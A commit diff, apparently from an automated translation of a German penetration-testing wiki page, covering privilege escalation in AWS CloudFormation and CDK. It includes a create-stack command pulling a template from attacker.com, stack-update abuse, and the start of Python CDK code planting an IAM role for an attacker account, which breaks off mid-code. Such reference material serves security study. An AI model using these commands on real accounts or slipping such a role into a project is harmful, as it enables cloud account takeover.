Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-04-11 00:28:46 +00:00
parent fd33899352
commit 0b2d560798
4 changed files with 42 additions and 42 deletions

View File

@@ -12,23 +12,23 @@ Für weitere Informationen über cloudformation siehe:
### `iam:PassRole`, `cloudformation:CreateStack`
Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**:
Auf der folgenden Seite finden Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen CloudFormation-Dienstrolle.
**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen Cloudformation-Service-Rolle.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
In diesem Fall können Sie einen **bestehenden CloudFormation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren:
In diesem Fall können Sie einen **bestehenden Cloudformation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der Aktualisierung an).
Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an).
Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen.
@@ -105,11 +105,11 @@ Ein Angreifer könnte diese Berechtigung ohne die passRole-Berechtigung missbrau
## AWS CDK
Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (yaml oder json).
Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (YAML oder JSON).
Um das CDK zu verwenden, muss ein administrativer Benutzer zunächst das Konto bootstrappen, was mehrere IAM-Rollen erstellt, einschließlich der *exec role*, die \*/\* Berechtigungen hat. Diese Rollen folgen der Namensstruktur `cdk-<qualifier>-<name>-<account-id>-<region>`. Das Bootstrapping muss einmal pro Region und Konto durchgeführt werden.
Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle verwendet wird, um CFN zu ermöglichen, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren.
Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle es CFN ermöglicht, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren.
### Bestimmung der Rollennamen
@@ -128,7 +128,7 @@ cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Hinzufügen von bösartigem Code zum Projektquellcode
Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch kompromittieren, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann.
Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch gefährden, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: